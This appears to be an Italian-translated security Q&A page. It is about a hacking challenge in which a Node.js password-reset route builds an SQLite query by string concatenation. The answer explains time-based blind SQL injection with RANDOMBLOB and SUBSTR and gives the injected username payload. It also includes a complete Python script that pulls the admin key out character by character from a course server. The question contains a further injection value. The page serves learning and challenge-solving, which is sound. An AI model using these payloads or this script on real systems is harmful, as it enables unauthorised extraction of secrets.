Trova vulnerabilità nel servizio web node.js per rivelare la chiave segreta per l'amministratore

3

Ho provato a risolvere la seguente sfida "hacking" per ottenere esperienza con le vulnerabilità del web.

Il servizio è programmato in node.js ed è accessibile come link :

app.post ("/reset/", function (req, res) {
    var user = req.body.username;
    if (!user) {
      res.send("no username provided");
    } else {
      db.get (
        "select * from users where username='" + user + "'",
        function (err, row) {
          // ...
          if (row) {
            // ... send email because we have a real response
          }
          res.send("password reset email has been queued");
        })
    }
})

I dettagli per l'invio di e-mail sono irrilevanti e sono commentati (come nella sfida).

I dati sono memorizzati in un semplice database SQLite 3. Le tabelle utenti utilizzate dal servizio vengono create utilizzando la seguente query di creazione SQL:

CREATE TABLE users(username text, passwordhash text, key text)

Esiste almeno un utente nel database, con nome utente admin .

Obiettivo:

Ottieni la chiave privata per l'utente admin .

Il mio tentativo:

Ho provato l'iniezione SQL, ad es. con user impostato su ' OR ''=' , tuttavia non accade nulla ... Inoltre, ho letto articoli su MS SQL che supportano la funzione EXECUTE() , ma non riesco a trovare l'equivalente in SQLite. Con una tale funzione, potrei in principio eseguire comandi di shell come nslookup .

È ovvio che l'unico punto in cui questo servizio è vulnerabile è la chiamata db.get() , e poiché i dettagli per l'invio di e-mail sono irrilevanti, allora devo in qualche modo fare in modo che il database invii la chiave privata per admin (motivo per EXECUTE() chiamata).

Sono bloccato in questa sfida dopo aver trascorso molte ore, quindi penso che sia ora di chiedere aiuto alla comunità.

    
posta Shuzheng 03.04.2017 - 20:13
fonte

1 risposta

3

L'applicazione sembra essere resiliente alle query SQL non conformi e non restituisce le informazioni sugli errori direttamente all'utente. Quindi, se l'applicazione non emetterà esplicitamente la chiave memorizzata, allora dovremmo mirare a recuperarla con altri mezzi.

Una tecnica di iniezione SQL più sottile è quella delle query SQL temporizzate : per ottenere informazioni su ciò che è memorizzato nel database, faremo richieste che impiegheranno "molto tempo" per eseguire se riuscito , altrimenti terminano "velocemente". La definizione di riuscita dipende dall'applicazione, ma normalmente significherebbe che la nostra query restituisce un risultato. Inoltre, i tempi di esecuzione "veloci" e "lunghi" sono parametrizzati dall'applicazione.

Ora, dal momento che sai che il database è un database SQLite , dovremmo cercare una funzione che impiegherebbe "long" per l'esecuzione. Alcuni database hanno la scelta canonica di SLEEP() disponibile, ma SQLite non fornisce tale funzionalità. Invece, potremmo fare affidamento sul RANDOMBLOB() , che genera una sequenza di bit casuali.

Quanto tempo richiede RANDOMBLOB() per l'esecuzione? Bene, questo dovrebbe essere misurato dall'attaccante e la misura risultante determinerà (parzialmente) il significato dei tempi di esecuzione "veloci" e "lunghi". In effetti, sarebbe più accurato utilizzare la funzione SLEEP() , ma RANDOMBLOB() sarà sufficiente per i nostri scopi.

Un'altra funzione che si rivelerà utile per estrarre la chiave è SUBSTR() : estraiamo la chiave carattere per carattere con una risposta "lunga" che significa successo, mentre una risposta "rapida" significa non riuscire.

Dato che sappiamo che admin è garantito nel database, inviamo una richiesta POST con il seguente valore per username :

"admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --"

Questa stringa viene sostituita per user dall'applicazione nella stringa di query:

 "select * from users where username='" + user + "'"

Questo è il rendimento delle virate:

"select * from users where username='admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --'"

In effetti, vediamo che se ch corrisponde a key alla posizione pos , allora RANDOMBLOB() viene eseguito e la risposta impiegherà un tempo "lungo" per arrivare. Altrimenti, la risposta arriverà "velocemente".

Uno script Python per estrarre la chiave segreta (PGP):

Tieni presente che potrebbe essere necessario regolare il parametro timeout in base al carico del server e al tempo di esecuzione di RANDOMBLOB() .

import requests
import socket
import string

url = 'http://lbs-course.askarov.net:3030/reset'
timeout = 6
size = 1000000000
key_len = 1000
rounds = 3

def main():
    key = ""
    for pos in range(1,key_len+1):
        for ch in string.printable:
            try:
                if test_key_index(pos, ch):
                    print("[INFO] Found key position {pos}: {ch}".format(pos=pos, ch=ch))
                    key = key + ch
                    break
            except KeyboardInterrupt as e:
                print("[INFO] Partial key obtained: {key}".format(key=key))
                return
    print("[INFO] Partial key obtained: {key}".format(key=key))

def test_key_index(pos, ch):
    query = "admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --".format(pos=pos, ch=ch, size=size)
    #print(query)
    post_fields = {'username': query} # POST fields
    for _ in range(rounds):
        try:
            response = requests.post(url, data=post_fields, timeout=timeout)
            return False
        except requests.exceptions.Timeout as timeout_e:
            pass
    return True

if __name__ == '__main__':
    main()

Spero che questo aiuti!

    
risposta data 14.04.2017 - 16:05
fonte

Leggi altre domande sui tag